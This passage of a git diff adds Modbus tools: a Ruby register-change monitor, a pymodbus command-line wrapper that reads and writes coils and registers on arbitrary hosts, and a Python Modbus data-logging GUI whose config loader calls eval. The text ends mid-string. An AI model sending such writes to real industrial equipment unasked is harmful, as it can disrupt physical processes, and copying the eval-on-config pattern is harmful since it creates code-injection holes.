result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid 